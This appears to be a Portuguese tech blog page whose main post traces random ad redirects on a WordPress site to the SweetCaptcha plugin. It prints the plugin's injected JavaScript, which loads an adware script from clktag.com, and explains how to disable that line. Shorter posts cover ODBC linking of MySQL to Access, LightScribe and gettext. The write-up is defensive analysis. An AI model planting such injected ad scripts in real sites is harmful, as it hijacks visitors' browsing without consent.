nov 072015
 

Num dos sites mantidos pela Academia, ao se clicar um qualquer ponto da tela, seja em área sem link, seja em determinado posto, enfim, de forma absurdamente aleatória, é aberta nova página totalmente estranha à aplicação original.

Dentre as listadas:

http://lp.musicboxnewtab.com/?sysid=539&appid=118&subid=80817651661

O problema maior é que tal redirecionamento se dá também de forma aleatória, ou seja, as vezes ocorre, às vezes não. Aliás, ocorre esporadicamente. Navega-se pelo site, logo de início ou depois de muito tempo, lá está o redirecionamento. Por vezes, em muitas sessões, nem ocorre.

Tal aleatoriedade, de local clicado ou de momento de ocorrência dificulta muito encontrar a brecha.

Assim, vamos à longa análise:

Pelo descrito passamos a monitorar o evento “click”, até que disparasse o redirecionamento, chegamos então ao primeiro suspeito:

wp

Trata-se do script vindo do site clktag.com que, por sua vez, chama o servidor cdn1.srv.revdepo.com, trazendo aquele .js descrito na imagem. Arquivo bem grande para os padrões js e inteiro criptografado, o que faz a suspeita aumentar, dado que no wordpress os códigos são abertos.

Para completar: esse “revdepo.com” é um conhecido redirecionador para propagandas variadas (spam).

O segundo passo é encontrar onde este raio de clktag está sendo chamado.

Depois de algumas horas fuçando nos arquivos do wordpress, monitorando carregamentos, e outros procedimentos, encontramos o responsável:

wp2

O plugin SweetCaptcha faz dois carregamentos, o primeiro ok, é o do aplicativo mesmo.

Já o segundo, destacado na imagem, traz a inclusão do “clktag” no DOM (4ª linha):

1
2
3
4
5
window.sweetcaptchaCSRF = 'eb02ed2cd9350cc7a588d6a375a339b0'; var mobile = typeof(window.orientation) != 'undefined' || navigator.userAgent.match(/iphone|ipod|blackberry|android|palm|windowss+ce|mobile|msie 8|msie 7|msie 6/i) || (navigator.userAgent.indexOf('Safari') > -1 && navigator.userAgent.indexOf("Chrome") == -1 && navigator.userAgent.indexOf('Windows') > -1);if (1 || typeof(sc_jQuery) === 'undefined') {
window.sweetcaptchaPluginVersion = "3.1.0";
document.write('<scr'+'ipt type="text/javascript" src="//www.sweetcaptcha.com/javascripts/sclytics.js">');
document.write('<scr'+'ipt type="text/javascript" src="//clktag.com/adServe/banners?tid=SWTMPOP&tagid=2" async="async">');
document.write('<img style="position: absolute;" src="//www.sweetcaptcha.com/api/v2/apps/csrfp/11323?t=1446929464093&amp;mobile='+(mobile ? '1' : '0')+'" alt="" width="1" height="1" />');};

Testamos a descoberta, desativando o pugin.

Problema sanado, sem mais redirecionamentos indevidos e sem mais problemas, somente fontes confiáveis e normais foram carregadas:

wp3

Testes por mais algumas horas, sem redirecionamentos.

Agora chegamos a duas possíveis conclusões:

1-O plugin SweetCaptcha tem alguma vulnerabilidade;

2-O redirecionamento aleatório faz parte do plugin.

Pois bem, o SweetCapctha, usado em alguns milhões de sites, incluídos wordpress, oferece uma maneira mais criativa e elegante de burlar o spam, provendo um captcha intuitivo e bem humorado, como no exemplo:

wp4

Assim, buscamos no site do desenvolvedor: www.sweetcaptcha.com

Leia o site e verá que promete afastar spammers, injeção de códigos maliciosos e todos os males que realmente buscamos evitar quando colocamos um captcha. Oferece o aplicativo gratuitamente e pede doação (qua a academia doou, diga-se de passagem) por achar a ideia excelente e o serviço ótimo.

wp5

Contactamos o suporte, explicando a situação, e nos foi respondido que o plugin não tem anúncios e não faz redirecionamentos.

Então é uma falha, correto?

Errado. Infelizmente errado. A equipe deste plugin usa de uma desonestidade brutal. E ao que tudo indica o trambique vem desde julho deste ano.

Um desabafo: Cobrem pelo serviço se for necessário, mas nunca, nunca traiam a confiança do usuário distribuindo spam e, para piorar, peçam doação para manter a bagaça gratuita. Ridícula a postura. Se fosse um serviço nacional juro que entraríamos na justiça para reaver a doação.

A solução: exterminar este maldito plugin. Uma excelente ideia, lançada à lama por algum imbecil.

Para finalizar: o script vem direto dos servidores do sweetcaptcha, assim não há como negar a intenção nefasta: foram avisados, basta atualizar o script que traz o spam. Não o fizeram, comprova a má intenção.

Mais detalhes no blog de segurança Sucuri:

https://blog.sucuri.net/portugues/2015/06/09/sweetcaptcha-utilizado-para-distribuir-adware.html

Por fim, o mais estranho: a safadeza não ocorre em todos os sites. Usamos aqui na academia e nenhum spam ou redirecionamento foi feito pelo plugin, seria em razão da doação? se for, não seria melhor cobrar logo?

Aqui vamos manter até para avaliar até quando vai.

É isso.

 

ATUALIZAÇÃO:

Caso queira continuar usando o aplicativo, como alguns clientes preferiram, comente a seguinte linha do código do plugin (arquivo sweetcaptcha.php):

1
wp_enqueue_script('sweetcaptcha-csrf', 'https://'.SWEETCAPTCHA_SITE_URL.'/api/v2/apps/csrf/'.$app_id, array(), $ver, true);

Com isto, não teremos mais spam, ao menos até a próxima versão do plugin (estamos a usar a 3.1.0).

 

jul 012015
 

O problema:

Estamos a preparar um DataMining para um cliente, onde nenhum padrão está pré-estabelecido. Esta primeira análise costumamos realizar com o MS Access pela facilidade na criação de consultas e relacionamentos para, depois, definir os primeiros padrões encontrados.

Em regra criamos uma cópia dos Bancos de Dados principais do cliente, importamos no Access e trabalhados desconectados das bases em operação.

Porém, para este cliente, estamos em busca de novos padrões de acontecimentos imediatos, ou seja, precisamos acessar a base principal em tempo real.

A solução:

Vincular tabelas do MySQL no MS Access.

Como fazer:

Primeiro passo, no Access (usamos a versão 2002/XP):

Arquivo >> Obter dados externos >> Vincular tabelas.

Nos “tipos de arquivo” selecione “ODBC Databases()”, na tela seguinte “Fonte de dados de máquina”:

Capturar

Não há a opção de bancos de dados MySQL, logo, a solução é instalar um conector.

Baixeo MySQL ODBC Connector do site do MySQL, o link quando esta matéria foi escrita é: https://dev.mysql.com/downloads/connector/odbc/

Baixe de acordo com seu sistema operacional, instale-o.

sql

Em seguida, vá em (W7) Painel de controle >> ferramentas admnistrativas >> Fontes de dados (ODBC):

sql3

 

Crie uma nova fonte, escolha entre Unicode ou ANSI conforme sua preferência.

sql4

Preencha os dados do banco que pretende conectar (precisará criar uma conexão para cada banco de dados, se for usar mais de um).

sql5

 

Pronto, agora basta voltar ao Access e repetir os primeiros passos, a nova fonte de dados estará disponível.

sql6

É isso!

 

maio 112014
 

Lightscribe é uma tecnologia que acho fantástica, que infelizmente “não pegou”.

Com o gravador de CD/DVD apropriado e a mídia compatível é possível “queimar” também a etiqueta no disco, com um acabamento muito bom, excelente para enviar a clientes, para as festinhas de fim ano etc.

lightscribe_03[1]

É uma mão na roda para pequenas produções, basta virar o CD/DVD e queimar a etiqueta, porém em larga escala não funciona, cada etiqueta leva uns 10 minutos para ser impressa.

Continue reading »

jan 082011
 

Gettext é um projeto GNU para internacionalização de software, é composto de padrões e softwares desenvolvidos para a tradução simplificada. Pode ser visto em http://www.gnu.org/software/gettext/ e, grosso modo, consiste em utilizar para as mensagens de tela a sintaxe (PHP como exemplo, porém há suporte para várias linguages):

echo gettext(“Galeria de fotos”);

Com a marcação, são extraídos para arquivos específicos todas as mensages de tela, possibilitando a criação de arquivos de tradução. Em momento oportuno trataremos aqui de como criar e processar tais arquivos, possibilitando a criação de aplicações multi-idiomas ou ajudar a comunidade do código aberto a traduzir alguns programas.

O tema deste tópico é mais modesto, habilitar o uso do gettext no EasyPHP:

1-Vá em PHP Extension e selecione Gettext.

(Só isso mesmo!, lembro que este repositório é usado pela equipe da Academia e podemos afirmar: Como esquecemos de procedimentos simples como esse!!! Chega a ser ridículo o tempo que acabamos por perder para encontrar uma vírgula fora de lugar ou uma configuraçãozinha mínima como essa…)